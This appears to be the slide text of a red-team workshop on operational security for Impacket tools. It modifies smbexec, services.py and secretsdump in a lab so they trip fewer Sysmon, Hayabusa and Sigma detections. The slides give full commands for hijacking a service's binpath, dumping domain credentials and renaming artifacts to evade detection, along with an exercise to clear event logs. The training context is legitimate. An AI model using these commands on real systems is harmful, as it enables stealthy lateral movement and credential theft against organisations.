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What is OPSEC?
Operational security is the minimization

of adversarial exposure, recognition,
and reaction to the existence of an

operation. 
Matthew Monte, Network Exploitation and Attacks



OPSEC + Tools
A good operator knows their tools and

has an idea of how the tool is
accomplishing its objectives on their

behalf. ---- Fortra

Beacon Command Behavior and OPSEC Considerations

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/appendix-a_beacon-opsec-considerations.htm


Understand what can be seen

 Minimize exposure

Main Points



Why Care?

Red Teaming has gotten more difficult

EDRs have improved

Less tooling released publicly

Need to develop this ability ourselves!



Facing a Mature Adversary
Disk Indicators

Memory Indicators

Process Indicators

Network Indicators ATTL4S Presentations

Understanding and Hiding your Operations
Daniel López Jiménez

https://attl4s.github.io/


Facing a Mature Adversary
Disk Indicators

Memory Indicators

Process Indicators

Network Indicators

SMBEXEC



1 - Initial Test

Gain an
understanding of
what the tool does
and how it works.

2 - Hypothesize

Identify items/
artifacts we think
are causing the
alerts.  

3 - Research

Conduct research
to support/
disprove the
hypothesis. 

4 - Experiment

Modify different
aspects to avoid/
limit artifacts.

5 - Iterate

Re-test and
validate whether
indicators were
avoided. 

Methodology



Lab Introduction

Topology

Logging

Sysmon

Analysis Tools



Workshop Access
Access to the workshop VMs is provided via
Apache Guacamole
Navigate to the EC2 DNS address to access
the login portal

Use the provided credentials
Take a couple mins now and verify you can
login
Access the Guacamole menu:

Ctrl+Alt+Shift
Copy/Paste to the VMs should work

Otherwise use the Guacamole menu

Apache Guacamole Guide

https://guacamole.apache.org/doc/gug/using-guacamole.html


IP:192.168.x.28
OS: Ubuntu 24.04

Tools:
impacket suite

smbexec.py
smbclient.py

psexec.py

Attacker
IP: 192.168.x.20
OS: Server 2022

Tools:
Sysmon

Sysmon-modular
Hayabusa

Sigma

Target

Workshop Hosts

Private Subnet 192.168.x.16/28

EC2 DNS Addr.

Remote
Connection

Manager

RDP/SSH/VNC

Apache
Guacamole

RDPInternet



Tracks user and system activities across the
Windows environment
Records information regarding:

Account logons
File and system access
System configuration changes
Process tracking

Analyzing log data can help identify and
investigate suspicious activities 
Assists in post-incident analysis to
determine the scope and impact of a
breach

Windows Event Logs



Log Event ID Description

Security 4624 User logon, Type 2: Interactive, Type 3: Network, Type 10: Remote(RDP)

Security 4634 User logoff

Security 4688 New Process created: PID, Name, PPID, Command line? (if enabled)

Security 4697 A service was installed on the system (if enabled)

System 7036 A service was stopped or started

System 7045 Creation of a new service on the system

Event Log Reference



Sysmon
Free utility included with Sysinternals Suite
Complements Windows Event Logging
Offers deep insights into: 

process creations
network connections
file modifications
registry changes

Installs a driver and runs as a service
Highly customizable via config file

Sysmon Download
Event Log Location:
Applications and Services Logs/Microsoft/Windows/Sysmon/Operational 

https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon


Event ID Description

1 Process Creation: logs the creation of a process, process name and command line.

3 Network Connection: logs when a process makes a connection to an IP/port

7 Image Loaded: monitors when an image or executable is loaded

8 Create Remote Thread: logs the creation of a remote thread in another process, 

11 File Created: Tracks the creation of files

17 Named Pipe Created: logs the creation of a named pipe, the process creating it

Sysmon EID Reference



Sysmon Config 
Sysmon configuration file created by Olaf Hartong

Using this configuration in the workshop lab
Different configurations ranging from balanced to extremely verbose 
Recommended that users tune the configurations to their environment 

Sysmon Modular Download

https://github.com/olafhartong/sysmon-modular/


Hayabusa
Windows Forensics/Threat Hunting tool

Created by Yamato Security group
Speeds up Event Log analysis
Outputs JSON, HTML, CSV etc.

Easily imported into analysis tools 
Multiple commands:

csv-timeline
pivot-keywords-list
eid-metrics
computer-metrics

Hayabusa GitHub

https://github.com/Yamato-Security/hayabusa


Sigma
Released by Florian Roth in 2017
YAML based, platform agnostic detection-rules framework

Allows defenders to more easily share detections
Rules can be imported into many different SIEM tools: ELK, Splunk, etc.

Sigma HQ 

https://sigmahq.io/
https://sigmahq.io/


Sigma Primer
Four Main Sections:
1.Metadata
2.Logsource
3.Detection
4.Level
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What is Impacket?
Comprehensive Toolkit
Collection of Python classes for working with
network protocols: IP, TCP, UDP, ICMP, SMB,
MSRPC, NTP, etc.

Creators/Maintainers
Created by SecureAuth but now maintained by
Fortra, formerly HelpSystems.

Versatility
Used for enumeration, lateral movement, remote
code execution, credential dumping, etc.

Impacket GitHub

https://github.com/fortra/impacket


Offensive
Security
Usage

Red Canary Report

Testing and Validation
Tooling 2023

https://redcanary.com/threat-detection-report/threats/impacket/


Threat Actor Usage

Russian Threat Actor Against UkraineThreat Actors Inside US Defense Networks

CISA Cybersecurity Advisory MSTIC Russian Threat Actor Report

https://www.cisa.gov/sites/default/files/publications/aa22-277a-impacket-and-exfiltration-tool-used-to-steal-sensitive-information-from-defense-industrial-base-organization.pdf
https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/
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Created by Eric Milam brav0hax in 2013
Remote command execution via semi-
interactive shell over SMB port 445
Creates temporary service to execute
commands via %COMSPEC%

Does not upload a service binary to
disk like psexec

Executes in “System” context 
Need Admin privileges

Understanding smbexec

Brav0hax GitHub

SMBexec Defcon Presentation 

https://github.com/brav0hax/smbexec
https://www.youtube.com/watch?v=dCQNFaEZkuw
https://www.youtube.com/watch?v=dCQNFaEZkuw


Execution Analysis
1. Create Service

 Service created to execute a command: 
“Create and execute a batch file”

2. Create/Execute Batch File
Batch file built using “echo” and file redirection

Executed via %COMSPEC%

3. Delete Files
Batch file, output file, and service is deleted



Hypothesis

Service NameBatch File Name

Command Line



Research

Smbexec Sigma Rule Red Canary Impacket Threat Detection

https://github.com/SigmaHQ/sigma/blob/412edd1e1abb29a021e51d2aca7abbbe47afca25/rules/windows/builtin/system/service_control_manager/win_system_hack_smbexec.yml
https://github.com/mbabinski/Sigma-Rules/blob/main/2024_RedCanary_ThreatDetectionReport/threat_impacket_smbexec_execution.yml


Validate Findings
Service Name
Testing revealed a service is created with an odd name.
Research revealed previous detections for the old service
name BTOBTO

Batch File
Testing revealed a batch file is created with an odd name.
Research revealed previous detections for the old name
execute.bat

Command Line
Command line stringing multiple actions and redirecting
output. Research revealed detections for “.bat & del” and
“__output 2^>^&1 >”  

Previous smbexec IOCs

https://github.com/fortra/impacket/commit/35cbac53c7cf78563c3e7269bcafbc6706083f01


Service Name
8 random mixed-case alpha characters
New random name generated each session
Can be specified as an option at run time

-service-name <svc_name>
Exercise:

Chose an opsec-friendly service name

OPSEC Considerations: 
What are some good options to blend in?
Common processes for specific OS?
What are some names to avoid?

Hint: 
List services on DC0

PS> Get-Service



Batch Filename
8 random mixed-case alpha characters
New random name generated each command
Cannot be specified as a command line option

Hard-coded at line #286
Exercise:

Choose a more opsec-friendly file name

OPSEC Considerations: 
What file name would blend in better? 
What other file type could we use?

Hint: 
Do some quick host enumeration on DC01



Output Filename
Echoing commands into .bat files 

Creating “__output” files
How often have you seen files with “__” on a
Windows host?

Hard-coded on line #57
Exercise:

Choose a more opsec-friendly file name

OPSEC Consideration:
What constitutes a better file name?

Hints:
Enumerate DC01 
Find a more common file name



Output Share
Share can be specified on the command line

-share <share_name>
What would be a better staging directory?
Exercise:

Find a “better” file share for output

OPSEC Consideration:
What are some common shares?

Hints:
List shares on DC01

PS> Get-Smbshare



Ex: Modify Defaults
[TGT] Clear the event logs on DC01!

PS> .\clear_logs.bat
[ATCK] Make a copy of the original smbexec.py 

$ cp smbexec.py og_smbexec.py
[ATCK] Open up smbexec in editor of choice (nano/vim)

$ nano -l smbexec.py
[ATCK] Replace the random batch file name with a more opsec-friendly name
[ATCK] Replace the output file name with a more opsec-friendly name
[ATCK] Run smbexec with the share name and service name options

$ smbexec.py BSIDES/jason:'Password123!'@192.168.x.20 -share <share> -service-
name <service>

[TGT] Execute Hayabusa on the DC01
PS> cd C:\Tools\hayabusa
PS> .\hayabusa.exe csv-timeline -l -r rules/impacket --no-wizard

Take 15 minutes to complete Ex 2!
Let us know if you need any help!



Ex: Modify Defaults Walkthrough
[TGT] Clear the event logs on DC01!

PS> .\clear_logs.bat
[ATCK] Make a copy of the original smbexec.py 

$ cp smbexec.py og_smbexec.py
[ATCK] Open up smbexec in editor of choice (nano/vim)

$ nano -l smbexec.py
[ATCK] Replace the random batch file name with a more opsec-friendly name

$ Line # 286
[ATCK] Replace the output file name with a more opsec-friendly name

$ Line # 57
[ATCK] Run smbexec with the share name and service name options

$ smbexec.py BSIDES/jason:'Password123!'@192.168.x.20 -share <share> -service-name
<service>

[TGT] Execute Hayabusa on the DC01
PS> .\hayabusa.exe csv-timeline -l -r rules/impacket --no-wizard



Workshop Agenda
Introduction

Background

Modifying Defaults

Command Execution

 Service Creation

Credential Dumping



Process Hierarchy
1. Echo Command into Batch File
 cmd.exe /Q /c echo [...snip...]> C:\Windows\aRpjIhMy.bat

3. Batch File (Command) is Executed
systeminfo > \\MULTIVERSE\C$\__output 2>&1

2. Execute Batch File
cmd.exe /Q /c C:\Windows\aRpjIhMy.bat

4. Delete Batch File
del C:\Windows\aRpjIhMy.bat



Process Hierarchy
1. Echo Command into Batch File
 cmd.exe /Q /c echo [...snip...]> C:\Windows\aRpjIhMy.bat

3. Batch File (Command) is Executed
systeminfo > \\MULTIVERSE\C$\__output 2>&1

2. Execute Batch File
cmd.exe /Q /c C:\Windows\aRpjIhMy.bat

4. Delete Batch File
del C:\Windows\aRpjIhMy.bat

What is this?



Minimize Actions
Initial ‘cd’ executed before our commands

Where did this come from?
Placeholder for the cmd prompt
Worth creating & deleting 2 files?
OPSEC Consideration: 

Remove unneeded commands



Minimize Actions
Exercise:

Find the “self.do_cd()” function 
Comment out the function



Modifying Behavior: Solution
Exercise:

Find the “self.do_cd()” function 
Comment out the function

$ nano -l smbexec.py
$ go to line 210
$ Add comment

Solution Nano



File Creation
1. Echo Command into Batch File
 cmd.exe /Q /c echo [...snip...]> C:\Windows\aRpjIhMy.bat

3.Cmd Inside Batch File Executed
systeminfo > \\MULTIVERSE\C$\__output 2>&1

2. Execute Batch File
cmd.exe /Q /c C:\Windows\aRpjIhMy.bat

4. Delete Batch File
del C:\Windows\aRpjIhMy.bat

Output written + deleted for
each command!

Do we need to delete each time?

Why create a new batch
file for each command?

Files Written: 6
Files Deleted: 6



Modifying Approach
Current procedure:

Echo a command into a file
Executing that file, redirecting output

How can we simplify this process?
Create our own batch file
Upload the file to DC01 
Execute the batch file

What benefits will this have?
Removes the “echo” part of the cmd 
Reduces number of batch files created
Reduces command execution 

What drawbacks will this approach create?
Modify how output is retrieved



smbclient
Tool used for interacting with SMB shares

Connect and browse shares
Upload/Download/Delete files

Establish connection:
$ smbclient.py DOMAIN/user:pass@IP

Connect to specified share:
$ use ADMIN$

Upload/Download files
$ put <file>
$ get <file>

Delete files
$ rm <file>



BYO Batch File
Create a batch file that contains multiple
commands
Redirect all output to the same file
Benefits:

Reduces the number of files created
Limits the number of new services
created!



BYO Batch File
Exercise:

Create your own batch file
Take 5 minutes to complete the exercise!

Let us know if you need any help!



Retrieving Output
We have modified the command execution

Executing multiple commands at once, not 1-by-1
Do we still need a semi-interactive shell?

Or could we just download the output file and delete it?



Retrieving Output
Exercise:

Comment out the “self.get_output()” function



Retrieving Output: Solution
Exercise:

Comment out the “self.get_output()” function
SOLUTION:
grep -in "self\.get_output()" smbexec.py
sed -i 's/self\.get_output()/#self\.get_output()/ ' smbexec.py
grep -in "self\.get_output()" smbexec.py



Uploading a batch file allows us to make 3 changes: 
Remove the “echo” portion
Remove the command and output redirection
Removes the ‘& del *.bat’

Input needs to be altered to 

Modify CMD Execution



Modify CMD Execution
Exercise:

Modify the command to only execute the batch file
Change the “data” variable to be the location of the script
Remove the “& + del + batchFile” portion of the command

Take 5 minutes to complete the exercise!
Let us know if you need any help!



Modify CMD: Solution
Exercise:

Modify the command to only execute the batch file
Change the “data” variable to be the location of the script



Ex: Modify Behavior
[TGT] Clear the event logs on DC01!

PS> .\clear_logs.bat
[ATCK] Connect to DC01 with smbclient.py and navigate to the correct share

$ smbclient.py BSIDES/jason:'Password123!'@192.168.x.20
$ use SHARE$

[ATCK] Upload the newly created batch file that contains the commands
$ put <file.bat>

[ATCK] Run the modified smbexec.py to execute the batch file
$ smbexec.py BSIDES/jason:'Password123!'@192.168.x.20 -service-name <service>

[ATCK] Download the output file via smbclient
$ get <file.bat>

[ATCK] Delete any files that were uploaded/created via smbclient
$ rm <file.bat>
$ rm <output>

[TGT] Execute Hayabusa on the DC01
PS> .\hayabusa.exe csv-timeline -l -r rules/impacket --no-wizard

Take 20 minutes to complete Ex 3!
Let us know if you need any help!
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Service Creation
We’ve limited the number of new services

Installing a new service is noisy!



Service Installation Artifacts
Event logs generated:

Security Event ID 4697
System Event ID 7045

New subkey created under:
HKLM\SYSTEM\CurrentControlSet\Services\

Nasreddine Bencherchali MindMaps

https://github.com/nasbench/MindMaps/blob/main/Windows%20System%20Processes/Services/Windows%20Services%20(Creation).xmind


Service Manipulation
What if we modify an existing service?

Identify a stopped service
Alter the binpath
Start the service
Reset the binpath

Originally popularized by Mr-Un1k0d3r’s SCShell project

https://github.com/Mr-Un1k0d3r/SCShell


Service Manipulation
What artifacts are removed?

Security Event ID 4697
System Event ID 7045
Creation of registry subkey

What new artifacts are created?
System Event ID 7036



services.py
Tool used for manipulating services remotely

Start/Stop/Delete services
Create/Change services
Get service status

Establish connection:
$ services.py DOMAIN/user:’pass’@IP

List available services:
list

Targeting specific services:
start -name vss
config -name vss
status -name vss



Ex: Modify Service
Exercise:

Identify a service to modify
Modify the binpath of the service 
Start the service (execute cmd)
Reset to the original binpath

OPSEC Considerations:
What is a good service to modify?
What are services to avoid?
What tradeoffs did we make?
What artifacts are created?



Modify Service: Solution
Exercise:

Modify an existing service to achieve command execution

Commands:
Get status of target service

 $ services.py BSIDES/jason:'Password123!'@192.168.x.20 status -name svsvc
Review config

 $ services.py BSIDES/jason:'Password123!'@192.168.x.20 config -name svsvc
Change path to our malicious modifications

 $ services.py BSIDES/jason:'Password123!'@192.168.x.20 change -name svsvc -path 'C:
\Windows\System32\conhost.exe C:\Windows\System32\cmd.exe /Q /c C:\Windows\new.bat'

Verify changes
 $ services.py BSIDES/jason:'Password123!'@192.168.x.20 config -name svsvc



Modify Service: Solution

Commands:
Start Service

 $ services.py BSIDES/jason:'Password123!'@192.168.x.20 start -name svsvc
Change path back to original

$ services.py BSIDES/jason:'Password123!'@192.168.x.20 change -name svsvc -path
'C:\Windows\system32\vssvc.exe’

Verify
$ services.py BSIDES/jason:'Password123!'@192.168.x.20 config -name svsvc

Exercise:
Modify an existing service to achieve command execution



Workshop Agenda
Introduction

Background

Modifying Defaults

Command Execution

 Service Creation

Credential Dumping



secretsdump
Performs various techniques to remotely
retrieve credentials:

Password hashes
Kerberos tickets
Windows secrets

Interacts with SAM database, LSA
Secrets, ntds.dit
2 Methods to extract ntds.dit

DRSUAPI method (default)
VSS method



DRSUAPI Method
Protocol DC’s use to replicate AD database changes between them

Directory Replication Service (MS-DRSR) Remote protocol
API for MS-DRSR is DRSUAPI

DC sends DSGetNCChanges request to get AD objects updates from DC2
Usage: secretsdump.py BSIDES/jason:'Password123!'@192.168.x.20



DRSUAPI Detections



Volume Snapshot Service (VSS) 
aka Volume Shadow Copy 
aka Shadow copies

Service used to create local backups
(vssadmin)
3 Execution Methods:

smbexec (default), wmiexec, dcomexec
Recover backups of ntds.dit and SYSTEM hive

Locked when DC is running

VSS Method



VSS Method: Initial Test
Usage:

secretsdump.py -just-dc-ntlm BSIDES/jason:'Password123!'@192.168.x.20 -use-vss
Exercise:

Execute secretsdump vss method against DC01 
Run hayabusa on DC01 and review results



(Old) Batch Filename

Command Line

Hypothesis

Service Name



Batch Filename

What Happened?
Service Name

Output Filename



Command Line

What Happened?

Service Name



Modify VSS Method

File locations:
/home/<user>/.local/pipx/venvs/impacket/bin/secretsdump.py
/home/<user>/.local/pipx/venvs/impacket/lib/python3.8/site-packages/impacket/examples/secretsdump.py

Variables:
Some variables are hardcoded in multiple locations, ex: “__output”



Ex: Modify secretsdump
Exercise:

Change service name
Modify batch filename
Change output filename

OPSEC Consideration:
Did this help with the detections?



Ex: secretsdump: Solution
Exercise:

Modify the secretsdump vss smbexec method
Lines #: 400, 1092

SOLUTION:
Find instances of output filename

$ grep -Ein 'Temp\\\\__output' secretsdump.py
Replace all instances of the hardcoded output location

$ sed -in 's/Temp\\\\__output/Temp\\\\AJ8PK.tmp/g' secretsdump.py
Verify changes

$ grep -Ein 'Temp\\\\__output' secretsdump.py



Modified VSS Artifacts



What is this?!

Remote Shadow Snapshot



A New Hope?



WMI Shadow Snapshot
Creates a Shadow Snapshot through WMI 
Downloads SAM, SYSTEM, and SECURITY via SMB and processes locally 
No interaction with the registry is necessary



Ex: Remote SS Test
Usage:

secretsdump.py BSIDES/jason:'Password123!'@192.168.x.20 -use-remoteSSMethod
Exercise:

Execute secretsdump remote Shadow Snapshot method against DC01 
Run hayabusa on DC01 and review results
What indicators were found?



Remote SS Findings?
Exercise:

What indicators were found?
How does it compare to VSS smbexec method?



Conclusion

Review

Closing Thoughts

Resources

Bonus: PsExec



smbexec OPSEC
Disk Indicators:

Filenames
Locations
Unnecessary file creation

Process Indicators:
Unnecessary process creation
Suspicious command-line
Service Creation vs Modification
Uncommon Image Path

Disk Indicators

Memory Indicators

Process Indicators

Network Indicators



Disk Indicators: Before
1. Echo Command into Batch File
 cmd.exe /Q /c echo [...snip...]> C:\Windows\aRpjIhMy.bat

3.Cmd Inside Batch File Executed
systeminfo > \\MULTIVERSE\C$\__output 2>&1

2. Execute Batch File
cmd.exe /Q /c C:\Windows\aRpjIhMy.bat

4. Delete Batch File
del C:\Windows\aRpjIhMy.bat

Output written + deleted for
each command

Deleting each time

Create a new batch file
for each command?

TOTAL:
Files Written: 6
Files Deleted: 6



Disk Indicators: After
1. Echo Command into Batch File
 cmd.exe /Q /c echo [...snip...]> C:\Windows\aRpjIhMy.bat

3.Cmd Inside Batch File Executed
systeminfo > \\MULTIVERSE\C$\__output 2>&1

2. Execute Batch File
cmd.exe /Q /c C:\Windows\aRpjIhMy.bat

4. Delete Batch File
del C:\Windows\aRpjIhMy.bat

Output written + deleted once!

Uploading one batch file!

Used a better method to delete!

TOTAL:
Uploading 1 File
Deleting 1 File

TOTAL:
Files Written: 6
Files Deleted: 6



Process Creation: Before



Process Creation: After



Command Line: Before



Command Line: After



Service Manipulation: Before



Service Manipulation: After



What about EDR?



Closing Thoughts
Greater understanding of how our tools
work
Limited actions to minimize exposure

Followed a general methodology 
OPSEC considerations discussed today
are only the beginning!
Good tradecraft requires a lot of testing
and experimentation!



Discord:
@odie_sec
@vhfw
@pure_struggle

Linkedin:
linkedin.com/in/odonnell-ryan

Questions?
Loopback Discord Link
Email:
odie@loopbacklabs.io

https://discord.gg/8XQh4aqH99


Resources:
Sysmon: a viable alternative to EDR?

https://detect.fyi/sysmon-a-viable-alternative-to-edr-44d4fbe5735a
Sigma Rules: The Beginners Guide

https://socprime.com/blog/sigma-rules-the-beginners-guide/
Red Canary Impacket Threat Detection Repot

https://redcanary.com/threat-detection-report/threats/impacket/
JPCERT Detecting Lateral Movement Through Tracking Event Logs

https://www.jpcert.or.jp/english/pub/sr/
DetectingLateralMovementThroughTrackingEventLogs_version2.pdf 

Hunting for Impacket
https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/ 

SpecterOps: Defenders Guide to Windows Services
https://posts.specterops.io/the-defenders-guide-to-windows-services-67c1711ecba7 



Resources:
Sysmon: a viable alternative to EDR?

https://detect.fyi/sysmon-a-viable-alternative-to-edr-44d4fbe5735a
Sigma Rules: The Beginners Guide

https://socprime.com/blog/sigma-rules-the-beginners-guide/
Red Canary Impacket Threat Detection Repot

https://redcanary.com/threat-detection-report/threats/impacket/
JPCERT Detecting Lateral Movement Through Tracking Event Logs

https://www.jpcert.or.jp/english/pub/sr/
DetectingLateralMovementThroughTrackingEventLogs_version2.pdf 

Hunting for Impacket
https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/ 

SpecterOps: Defenders Guide to WIndows Services
https://posts.specterops.io/the-defenders-guide-to-windows-services-67c1711ecba7 



Bonus: PsExec 

Named Pipes

Repeat the process with PsExec
Do you notice similar indicators?
What new indicators did you uncover?



Bonus: PsExec 
Service Name/Executable Name

Service Type/Service Start Type
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